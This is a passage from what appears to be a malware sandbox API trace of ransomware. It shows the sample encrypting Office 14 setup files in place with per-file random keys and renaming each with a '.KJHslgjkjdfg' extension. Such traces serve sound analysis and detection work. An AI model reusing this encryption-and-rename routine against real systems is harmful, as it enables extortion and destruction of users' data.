lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.515] GetProcessHeap () returned 0x2a0000 [0143.515] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.515] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.kjhslgjkjdfg")) returned 1 [0143.515] CloseHandle (hObject=0x13c) returned 1 [0143.516] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0143.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.516] GetProcessHeap () returned 0x2a0000 [0143.517] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.517] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.517] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.517] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xf, lpOverlapped=0x0) returned 1 [0143.520] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.520] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.520] GetProcessHeap () returned 0x2a0000 [0143.520] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.520] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.520] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.520] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.520] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.520] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.520] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.520] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.520] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.521] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.521] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.521] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.521] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6931, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x6931, lpOverlapped=0x0) returned 1 [0143.522] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x6940, dwBufLen=0x6940 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x6940) returned 1 [0143.522] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.522] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x6940, lpOverlapped=0x0) returned 1 [0143.523] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.523] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x6a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.523] SetEndOfFile (hFile=0x13c) returned 1 [0143.526] GetProcessHeap () returned 0x2a0000 [0143.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.526] GetProcessHeap () returned 0x2a0000 [0143.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.526] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.kjhslgjkjdfg")) returned 1 [0143.532] CloseHandle (hObject=0x13c) returned 1 [0143.532] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0143.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.533] GetProcessHeap () returned 0x2a0000 [0143.533] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.533] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.533] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.534] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x5, lpOverlapped=0x0) returned 1 [0143.537] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.537] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.537] GetProcessHeap () returned 0x2a0000 [0143.537] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.537] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.537] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.537] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.537] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.537] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.538] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.538] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.538] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.538] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.538] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.538] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.538] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6a3b, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x6a3b, lpOverlapped=0x0) returned 1 [0143.539] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x6a40, dwBufLen=0x6a40 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x6a40) returned 1 [0143.539] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.539] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x6a40, lpOverlapped=0x0) returned 1 [0143.540] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.540] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x6b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.540] SetEndOfFile (hFile=0x13c) returned 1 [0143.543] GetProcessHeap () returned 0x2a0000 [0143.543] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.543] GetProcessHeap () returned 0x2a0000 [0143.543] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.543] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.kjhslgjkjdfg")) returned 1 [0143.549] CloseHandle (hObject=0x13c) returned 1 [0143.549] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0143.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.550] GetProcessHeap () returned 0x2a0000 [0143.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.550] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.550] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.550] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xa, lpOverlapped=0x0) returned 1 [0143.552] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.552] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.552] GetProcessHeap () returned 0x2a0000 [0143.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.552] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.552] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.552] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.553] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.553] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.553] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.553] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.553] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.553] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.553] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.553] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.553] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10676, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x10676, lpOverlapped=0x0) returned 1 [0143.555] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x10680, dwBufLen=0x10680 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x10680) returned 1 [0143.555] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.556] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x10680, lpOverlapped=0x0) returned 1 [0143.556] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.556] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x10744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.556] SetEndOfFile (hFile=0x13c) returned 1 [0143.559] GetProcessHeap () returned 0x2a0000 [0143.559] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.559] GetProcessHeap () returned 0x2a0000 [0143.559] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.559] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.kjhslgjkjdfg")) returned 1 [0143.561] CloseHandle (hObject=0x13c) returned 1 [0143.561] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0143.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.561] GetProcessHeap () returned 0x2a0000 [0143.561] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.561] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.561] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.561] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.564] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.564] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.564] GetProcessHeap () returned 0x2a0000 [0143.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.564] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.564] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.564] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.564] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.564] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.564] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.565] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.565] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.565] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.565] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.565] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.565] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2488, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x2488, lpOverlapped=0x0) returned 1 [0143.566] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x2490, dwBufLen=0x2490 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x2490) returned 1 [0143.566] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.566] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x2490, lpOverlapped=0x0) returned 1 [0143.566] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.566] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x2554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.566] SetEndOfFile (hFile=0x13c) returned 1 [0143.569] GetProcessHeap () returned 0x2a0000 [0143.569] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.569] GetProcessHeap () returned 0x2a0000 [0143.569] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.569] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft 